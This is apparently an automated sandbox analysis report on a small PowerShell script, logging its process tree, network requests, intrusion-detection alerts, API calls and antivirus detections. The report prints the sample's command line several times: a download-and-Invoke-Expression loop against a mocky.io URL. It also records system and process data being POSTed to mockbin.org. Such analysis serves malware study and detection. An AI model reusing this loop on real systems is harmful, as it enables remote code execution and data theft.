Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 3, 2023, 9:56 a.m.	May 3, 2023, 9:58 a.m.

Size	463.0B
Type	ASCII text
MD5	`d5ab587aaa4bf24d17ab42179b798b10`
SHA256	`e6d3217f89dc53f97989f05188b19f090dbbe1510a17c31398bcfeafa2fe7cba`
CRC32	`CFC0FB40`
ssdeep	`12:SV2A9812cMnfAWn0nk79N4j0XeKceNS08Sp0NQeMRn:jABcsbbj4a/c47D8QTRn`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\index.html.ps1
2560
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" while(1){$R=(New-Object System.Net.WebClient).DownloadString('http://run.mocky.io/v3/acea62da-ca05-46d1-bb80-0b036af7467c');Invoke-Expression $R;Sleep -s 300}
  2684
  - tasklist.exe "C:\Windows\system32\tasklist.exe"
    2820
  - systeminfo.exe "C:\Windows\system32\systeminfo.exe"
    2940

Name	Response	Post-Analysis Lookup
mockbin.org	A 172.64.162.25 A 172.64.163.25	172.64.162.25
run.mocky.io	A 185.42.117.109 A 46.252.181.104 CNAME domain.par.clever-cloud.com A 185.42.117.108 A 46.252.181.103	185.42.117.108

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.64.162.25	Active	Moloch
185.42.117.108	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49169 -> 172.64.162.25:80	2018886	ET MALWARE Windows TaskList Microsoft Windows DOS prompt command exit OUTBOUND	A Network Trojan was detected
TCP 192.168.56.101:49169 -> 172.64.162.25:80	2017968	ET HUNTING Suspicious Possible Process Dump in POST body	A Network Trojan was detected
TCP 192.168.56.101:49169 -> 172.64.162.25:80	2027117	ET HUNTING Suspicious POST with Common Windows Process Names - Possible Process List Exfiltration	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (10 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:56 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 3, 2023, 9:56 a.m.			0	0

Command line console output was observed (10 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading Operating System Information ... console_handle: 0x0000000b	1	1
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading Computer Information ... console_handle: 0x0000000b	1	1
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading Processor Information ... console_handle: 0x0000000b	1	1
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading BIOS Information ... console_handle: 0x0000000b	1	1
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading Input Locale Information ... console_handle: 0x0000000b	1	1
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading TimeZone Information ... console_handle: 0x0000000b	1	1
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading Profile Information ... console_handle: 0x0000000b	1	1
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading Pagefile Information ... console_handle: 0x0000000b	1	1
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading Hotfix Information ... console_handle: 0x0000000b	1	1
WriteConsoleW May 3, 2023, 9:56 a.m.	buffer: Loading Network Card Information ... console_handle: 0x0000000b	1	1

Uses Windows APIs to generate a cryptographic key (40 events)

Time & API	Arguments	Status	Return
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b76e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b77a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b77a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b77a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b77a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b77a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b77a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b7b60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b7b60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b7b60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b7de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b80e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b82e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b8360 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:56 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005b8360 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 3, 2023, 9:56 a.m.		1	1	0

Powershell script has download & invoke calls (1 event)

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header				suspicious_request	GET http://run.mocky.io/v3/acea62da-ca05-46d1-bb80-0b036af7467c
suspicious_features	POST method with no referer header, POST method with no useragent header				suspicious_request	POST http://mockbin.org/bin/e8bfd045-2b14-4afc-9372-b723f7d76918

Performs some HTTP requests (2 events)

request	GET http://run.mocky.io/v3/acea62da-ca05-46d1-bb80-0b036af7467c
request	POST http://mockbin.org/bin/e8bfd045-2b14-4afc-9372-b723f7d76918

Sends data using the HTTP POST Method (1 event)

request

POST http://mockbin.org/bin/e8bfd045-2b14-4afc-9372-b723f7d76918

Allocates read-write-execute memory (usually to unpack itself) (50 out of 146 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0281b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0286f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02779000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06320000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06321000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 786432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02860000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f1a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02592000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02593000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02594000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0270b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02707000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f1b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02705000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02595000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02920000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02596000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0270c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025b8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aeb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aee000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:56 a.m.	process_identifier: 2684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aef000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe while(1){$R=(New-Object System.Net.WebClient).DownloadString('http://run.mocky.io/v3/acea62da-ca05-46d1-bb80-0b036af7467c');Invoke-Expression $R;Sleep -s 300}
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" while(1){$R=(New-Object System.Net.WebClient).DownloadString('http://run.mocky.io/v3/acea62da-ca05-46d1-bb80-0b036af7467c');Invoke-Expression $R;Sleep -s 300}

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW May 3, 2023, 9:56 a.m.	show_type: 0 filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe parameters: while(1){$R=(New-Object System.Net.WebClient).DownloadString('http://run.mocky.io/v3/acea62da-ca05-46d1-bb80-0b036af7467c');Invoke-Expression $R;Sleep -s 300} filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	1	1	0

File has been identified by 4 AntiVirus engines on VirusTotal as malicious (4 events)

Cynet	Malicious (score: 99)
F-Secure	Exploit.EXP/YAV.Minerva.rluha
Avira	EXP/YAV.Minerva.rluha
Gridinsoft	Suspicious_WebDownload.bot!yf

